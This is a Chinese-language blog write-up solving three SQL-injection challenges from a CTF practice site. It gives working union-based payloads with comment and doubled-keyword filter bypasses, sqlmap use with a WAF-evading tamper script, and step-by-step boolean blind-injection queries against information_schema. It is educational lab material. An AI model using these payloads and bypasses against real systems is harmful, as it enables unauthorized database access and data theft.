题外话:更多关于信息安全、网络技术方面的东西,可以参考我的博客,也许你能找到你想看的?
https://www.xiaozzz.xyz/
类型:sql注入
题目链接:
http://www.shiyanbar.com/ctf/1875
解题过程:
打开页面看到一个输入框和提交,先尝试输入一些简单的东西,发现输入1 2 3都是有结果的,输入4之后没有结果。
按照sql注入惯用思想,尝试输入特殊字符——单引号,可以看到报错,并且根据错误信息可以推断数据库语句可能是简单的select xxx from xxx
在注入时,需要获取某字符,可以使用联合查询的方式(如果是登录的话可以使用万能登录字符串)进行尝试,需要先获取数据库名、表名及字段名
获取数据库名:输入 1' union select database()' 但是发现报错中只有 'database()''' ,于是猜测是否对于数据库语句进行了过滤。再次进行输入判断其过滤方式:
输入1' unionselect database()',发现报错为 'uniondatabase()''' ,对比前一次发现,union未被过滤,而select依旧被过滤,判断是过滤带有空格的数据库关键词,此时可以通过很多方式进行绕过,如加上+、%0a、%0b、/**/等字符,或者将关键词写两遍,如上,查询数据库名时输入: 1' union/**/select/**/database()',得到数据库名称为 web1
下面用同样的方法查询表名,输入:
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/
table_schema/**/='web1
发现报错,并且报错信息中只有 '='web1'',根据之前所得,判断是否存在字符串的过滤,猜测被过滤的字符串为 information_schema.tables,此时想到一个比较好的方法,重写两遍,并且将其中一个穿插在另一个中间,这样完整的关键词被过滤后,剩下的仍然为一个完整的管检测,输入:
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/
table_schtable_schemaema/**/='web1
可以查得表名为flag,那么剩下的就是查出字段名就可以查flag了,输入:
1'union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='flag
发现报错,并且报错为:
'from/**//**/where/**/table_name='flag''
那么根据前面的经验,column_name和information_schema.columns应该是被强制过滤了,同样重写,输入:
1'union/**/select/**/column_nacolumn_nameme/**/from/**/information_schema.coluinformation_schema.columnsmns/**/where/**/table_name='flag
此时可以看到字段名,一个为flag一个为id,明显猜测是flag,最后查询出flag,输入:
1' union/**/select/**/flag/**/from/**/flag where/**/'1'='1
得出flag:
flag{Y0u_@r3_5O_dAmn_90Od}
总结:
对sql语句还是要有一定的熟悉,在做这种题的时候要有敏感性,并且常去积累一些常用的绕过过滤的方法和查询语句。
这一题主要还是对于过滤的判断,当找到过滤的是什么之后,问题就变得简单很多了。
类型:sql注入
题目链接:
http://www.shiyanbar.com/ctf/1908
解题过程:
此题和简单的sql注入类似,不过过滤的内容更多,输入下列语句即可:
1’/**/union/**/select/**/flag from/**/flag#
另外,尝试使用sqlmap进行注入
直接使用
发现无法连接,报错信息如下:
判断是否是存在waf,加上--tamper space2comment.py 后再次注入尝试:
有输出结果:
注入点为 id,数据库类型为mysql
这里就不啰嗦了,直接尝试对数据库名——>表名——>字段名——>字段的注入
数据库名:
列出所有表名:
列出指定数据库表名:
列出指定表中字段:
列出指定表中的字段内容(这里是列出表的条目,所以需要使用 --dump):
总结:
Sqlmap的使用还是需要多加练习,尤其是对于一些参数的使用,在进行注入时,对一些提示也要能够弄懂。在这题中还是主要是一个 --tamper的使用,是使用模块辅助注入,这里的space2comment.py是sqlmap自带的一个脚本,用于绕过waf。而在列出数据库表中条目中,记得需要使用dump,在列出字段、表名时,最好是指定数据库名和表名,否则会将一些其他东西列出来,当然如果的确需要列出这么多信息那就另当别论了。另外,tamper是sqlmap使用中绕过过滤的好方法,需要多加练习和掌握。
阅读:
https://blog.csdn.net/ru_li/article/details/51452488(sqlmap注入之tamper绕过WAF防火墙过滤)
https://www.cnblogs.com/swyft/articles/5587646.html(深入了解SQL注入绕过waf和过滤机制)
类型:sql注入
题目链接:
http://www.shiyanbar.com/ctf/1909
解题过程:
此处为报错的sql盲注,主要看可以先使用下列语句,得出数据库名
1' and (select count(*) from aaa) > 0 #
或者使用burpsuite抓包重发,直接猜解数据库名:
1' and ascii(substr(database(),char,1)) = ascii #
其中char设置为0-10,ascii设置为30-127,下面同
关于char的范围,也可以通过下列语句进行猜解(number为猜解时变量,下面同):
1' and length(database())>number #
猜解出数据库名后,此时需要继续进行猜解得出表名,进而判断哪一个表可能存储了flag
先猜测表的个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())=number#
猜表名
第一个表名:flag
1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=number# 第一个表名长度为4
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),char,1))=ascii# 得到第一个表名为flag
到这一步其实就可以大胆猜测是否就是存储在flag表中了,直接对其字段进行猜解:
第一个表列名长度
1' and length((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1))=number# 猜解得列名长度4
1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1),char,1))=ascii#猜解得列名为flag
猜数据
1' and (select count(*) from flag)=number # 猜的有一行数据
1' and length((select flag from flag limit 1))= number # 猜得数据长度26
1' and ascii(substr((select flag from flag limit 1),char,1)) = ascii # 猜解得flag
其实这里如果有字典的话,可以直接用burpsuite跑字典,在对于表名、字段名的猜解中,直接设置payload为这个字典,跑字典即可:
猜表名: 1' and (select count(*) from string)>0# string为payload
猜字段名:1' union select string from flag #
注释: limit为sql查询语句中对于查询范围的限制
limit a,b 意为查询 a+1~b的所有条目,limit n表示打印前n个条目,等同于limit 0,n,limit a,-1意为查询a+1到最后所有条目
总结:
Sql盲注算是ctf中sql注入的常见形式,在注入时需要掌握对一些sql报错信息的含义,也要有一定的敏感性,能够判断出来是否可以使用爆破,可以使用怎样的猜解方式。
另外,平时需要对字典进行积累,在做题时使用爆破时可以达到事半功倍的效果。
阅读:
Ascii码查询:http://ascii.911cha.com/
Burpsuite四种爆破模式:https://blog.csdn.net/u012804180/article/details/52015224
Sqlmap注入使用攻略:https://www.freebuf.com/sectool/164608.html